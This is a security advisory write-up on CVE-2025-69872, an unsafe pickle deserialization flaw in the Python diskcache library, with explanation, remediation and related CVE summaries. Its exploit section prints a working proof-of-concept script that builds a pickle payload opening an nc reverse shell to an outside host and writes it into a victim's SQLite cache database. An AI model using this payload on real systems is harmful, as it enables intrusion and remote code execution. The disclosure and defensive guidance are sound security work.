CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-69872

Cache Me if You Can: Unpickling RCE in Python DiskCache

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 12, 2026·6 min read·170 visits

Executive Summary (TL;DR)

DiskCache uses Python's `pickle` module by default to serialize data to disk. Because `pickle` is inherently unsafe, anyone with write access to the cache directory (e.g., via shared permissions or container volumes) can inject a payload that executes arbitrary code when the application reads from the cache.

A critical insecure deserialization vulnerability in the popular python-diskcache library allows local attackers to achieve arbitrary code execution. By manipulating the underlying SQLite database or cache files, an attacker can trick the application into unpickling a malicious payload.

The Hook: Convenience is the Root of All Evil

We all love caching. It's the duct tape of the internet. When your Django app starts wheezing under the load of a thousand users, you slap a cache on it. And if you don't want to spin up a Redis instance because you're cheap (or 'efficient'), you reach for diskcache. It's brilliant, really. It uses SQLite and the local filesystem to store data, claiming to be faster than Redis in some benchmarks. Millions of downloads, used in AWS Lambda, machine learning pipelines, and scraping bots everywhere.

But here's the rub: diskcache needed a way to store complex Python objects—custom classes, functions, the whole nine yards. JSON is too restrictive (it doesn't know what a datetime object is), so the developers reached for the forbidden fruit: Pickle.

If you've been in security for more than five minutes, your blood pressure just spiked. Python's pickle module is a serialization format that effectively allows for arbitrary code execution by design. Trusting pickle is like trusting a stranger to hold your wallet while you go for a swim. In CVE-2025-69872, we find out exactly what happens when that stranger decides to go shopping.

The Flaw: Trusting the Disk

The core philosophy of diskcache seems to be: "If it's on the local disk, it must be safe." This is a classic fallacy. In modern infrastructure—especially containerized environments like Kubernetes—the filesystem is a shared resource. We have shared volumes, /tmp directories with loose permissions, and multi-tenant systems.

The vulnerability is architectural. diskcache essentially creates a SQLite database (cache.db) to manage keys and metadata, and stores the actual values either inside the database or as loose files (.val) in the directory. When you call .get(key), the library fetches the blob and passes it straight to pickle.load().

There is no cryptographic signature. There is no HMAC. There is no sandbox. The library assumes that no one else could possibly write to that directory. If an attacker can modify a .val file or execute a SQL UPDATE query on the cache.db file, they turn the application's next cache retrieval into a Remote Code Execution (RCE) event.

The Code: The Smoking Gun

Let's crack open diskcache/core.py and look at the horror show. We are looking for the deserialization trigger points. We don't have to look hard.

# diskcache/core.py (Simplified for effect)
 
def get(self, key, default=None, ...):
    # ... logic to find the file ...
    if mode == MODE_PICKLE:
        try:
            # HERE IS THE DRAGON
            with open(filename, 'rb') as reader:
                return pickle.load(reader)
        except (KeyError, ValueError, pickle.PickleError):
            pass

It's naked. Just pickle.load(reader).

The vulnerability also exists when reading keys or values directly from the SQLite database. If the data is small enough, diskcache inlines it into the database blob.

# Inside the fetch logic
val = cursor.execute('SELECT value FROM cache WHERE key=?', (key,)).fetchone()
if val:
    # AND HERE IS ANOTHER DRAGON
    return pickle.loads(val[0])

This isn't a bug in the code per se; the code is doing exactly what it was designed to do. The bug is the design itself. It prioritizes the ability to store complex Python objects over the security of the runtime environment.

The Exploit: Poisoning the Well

Exploiting this requires a bit of setup, but it's trivial if you have filesystem access. Imagine a scenario where a web application runs as www-data and stores its cache in /var/tmp/django_cache. If that directory is world-writable (a surprisingly common sin), or if we have compromised a low-privilege service that shares that volume, we are in business.

We don't need to overflow a buffer or align a heap spray. We just need to serialize a Python class with a __reduce__ method. This magic method tells the pickler: "Hey, when you unpickle me, don't just restore my data—run this function instead."

Here is a weaponized Proof of Concept. We create a payload that spawns a reverse shell, and we inject it directly into the SQLite database that diskcache uses.

import pickle
import sqlite3
import os
 
# 1. Craft the Payload
class ApocalypseNow:
    def __reduce__(self):
        cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1337 >/tmp/f"
        return (os.system, (cmd,))
 
payload = pickle.dumps(ApocalypseNow())
 
# 2. Open the Victim's Cache DB
# Assume we found this at /tmp/cache/cache.db
conn = sqlite3.connect('/tmp/cache/cache.db')
cursor = conn.cursor()
 
# 3. Poison a valid key
# We overwrite an existing key so the next time the app asks for it, BOOM.
target_key = "user_session_12345"
 
# DiskCache stores keys as BLOBs too, usually pickled. 
# We update the VALUE associated with that key.
# (Note: In reality, you might need to pickle the key to match the DB schema)
cursor.execute(
    "UPDATE Cache SET value = ? WHERE rowid = 1", 
    (payload,)
)
 
conn.commit()
conn.close()
 
print("[+] Cache poisoned. Waiting for victim to wake up...")

The next time the victim application runs cache.get("user_session_12345"), the pickle.load() executes our reverse shell command. Game over.

The Impact: From Cache to Crash

Why is this a high-severity issue? Because caching libraries are often implicitly trusted. Developers treat them as internal, opaque storage. They don't sanitize data coming out of the cache because they assume they put it in.

The consequences are severe:

  1. Arbitrary Code Execution: As shown above, we get full shell access as the user running the application.
  2. Persistence: We can plant a backdoor that only triggers when a specific, rarely accessed key is retrieved (e.g., an admin settings object). This acts as a logic bomb.
  3. Lateral Movement: In microservices architectures, multiple services might mount the same NFS share for caching. Compromising one low-value container allows you to poison the cache used by a high-value backend service, effectively jumping security zones.

This isn't just about reading data; it's about hijacking the control flow of the application process itself.

The Fix: Just Say No to Pickles

The remediation here is straightforward but potentially painful if your application relies on pickling custom objects.

1. Switch to JSON Serialization DiskCache supports pluggable backends. The safest move is to stop using pickle entirely. Switch to the JSONDisk backend. It only supports standard JSON types (dicts, lists, strings, numbers), but it won't execute code when reading data.

from diskcache import Cache, JSONDisk
 
# The Safe Way
cache = Cache('/path/to/cache', disk=JSONDisk)

2. Strict Filesystem Permissions If you must use pickle (e.g., you are caching complex NumPy arrays or custom objects), you must treat the cache directory like a private key.

  • chmod 700: Only the application user can read/write/execute the directory.
  • No Shared Volumes: Do not mount the cache directory across different containers unless they share the exact same trust level.

3. Monitoring Set up file integrity monitoring (FIM) on your cache directories. If an external process modifies a .db or .val file, trigger an alarm immediately. That is not normal behavior.

Official Patches

Grant Jenks (GitHub)Project repository documentation on serializers

Technical Appendix

CVSS Score
7.3/ 10
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
0.12%
Top 100% most exploited

Affected Systems

Python Applications using diskcache <= 5.6.3Django projects using django-diskcacheData science pipelines using diskcache for memoization

Affected Versions Detail

Product
Affected Versions
Fixed Version
python-diskcache
Grant Jenks
<= 5.6.3N/A (Requires Config Change)
AttributeDetail
CWE IDCWE-502
Attack VectorLocal (File Manipulation)
CVSS7.3 (High)
ImpactArbitrary Code Execution
Exploit StatusPoC Available
Affected Componentdiskcache.core.Cache.get()

MITRE ATT&CK Mapping

T1559Inter-Process Communication
Execution
T1059.006Command and Scripting Interpreter: Python
Execution
T1574Hijack Execution Flow
Persistence
CWE-502
Deserialization of Untrusted Data

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Known Exploits & Detection

GitHubOriginal disclosure and PoC demonstrating local cache poisoning.

Vulnerability Timeline

Vulnerability discovered and PoC verified
2025-12-16
CVE ID Requested
2025-12-16
CVE-2025-69872 Published
2026-02-11

References & Sources

  • [1]Full Disclosure Report
  • [2]Python Pickle Security Documentation

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•27 minutes ago•CVE-2026-105749
6.5

CVE-2026-105749: Unbounded Table Attributes in Docling Backends Leads to Resource Exhaustion

An uncontrolled resource consumption vulnerability exists in the Docling document conversion library. Maliciously structured HTML, JATS, ODS, or BoxNote inputs containing table cells with excessively large 'rowspan' or 'colspan' attribute values trigger algorithmic complexity conditions. This allows unauthenticated remote attackers to initiate resource exhaustion states, crashing or hanging the target document processing pipeline while bypassing configured timeouts.

Amit Schendel
Amit Schendel
2 views•6 min read
•about 1 hour ago•CVE-2026-105748
4.3

CVE-2026-105748: Local File Inclusion and Arbitrary File Disclosure in Docling Document Parser

A Local File Inclusion (LFI) and Arbitrary File Disclosure vulnerability exists in Docling and Docling Slim versions >= 2.16.0 up to 2.131.0. When parsing serialized DoclingDocument structures using the JSON input format, the backend fails to restrict image URI schemes, allowing remote attackers to retrieve local files and verify path existence on the host system during embedded document export.

Amit Schendel
Amit Schendel
5 views•5 min read
•about 2 hours ago•CVE-2026-105744
7.5

CVE-2026-105744: Arbitrary File Read and Remote Code Execution in Docling Tectonic Engine

Docling, a tool for parsing and processing diverse document formats, is vulnerable to arbitrary file read, arbitrary file write, and potential remote code execution (RCE) in versions 2.94.0 through 2.131.0. The vulnerability occurs when applications configure Docling to use the Tectonic engine for rendering TikZ diagrams into images. Because the compilation did not restrict hazardous TeX primitives or sandbox the environment, an attacker can supply crafted documents containing malicious TikZ definitions to access or modify local files and execute arbitrary commands under the privileges of the processing application.

Amit Schendel
Amit Schendel
7 views•7 min read
•about 3 hours ago•CVE-2026-105743
4.0

CVE-2026-105743: Server-Side Request Forgery Guard Bypass in Docling Document Conversion Engine

An SSRF guard bypass vulnerability in the Docling document conversion engine allows unauthenticated attackers to bypass internal IP access controls. The vulnerability exists due to a DNS rebinding Time-of-Check Time-of-Use (TOCTOU) condition, URL authority parsing inconsistencies, and unvalidated network requests triggered during headless browser page rendering.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 4 hours ago•CVE-2026-105742
3.7

CVE-2026-105742: Sensitive Custom Header Leakage in Docling Image Resource Loader

A technical analysis of CVE-2026-105742 (GHSA-p3fw-7699-7926), a sensitive information disclosure vulnerability in the Docling document processing library. Vulnerable versions of Docling indiscriminately forward custom HTTP headers, such as authentication tokens, to arbitrary third-party origins and during cross-origin redirects while fetching remote image assets from untrusted HTML and EPUB documents.

Alon Barad
Alon Barad
6 views•6 min read
•about 5 hours ago•CVE-2026-106121
4.9

CVE-2026-106121: Denial of Service via Infinite Loop in RabbitMQ Java Client JSON Parser

CVE-2026-106121 is a Denial of Service (DoS) vulnerability in the RabbitMQ Java Client library (amqp-client) affecting versions prior to 5.37.0. The vulnerability resides in the legacy, custom JSON-RPC parsing class com.rabbitmq.tools.json.JSONReader. When parsing malformed or truncated payloads ending within a quoted string or single-line comment, the parser's scanner enters an infinite loop. This occurs because the loop lacks an exit condition for the end-of-input sentinel character returned by the iterator, leading to either CPU exhaustion or a JVM crash from an OutOfMemoryError.

Amit Schendel
Amit Schendel
8 views•6 min read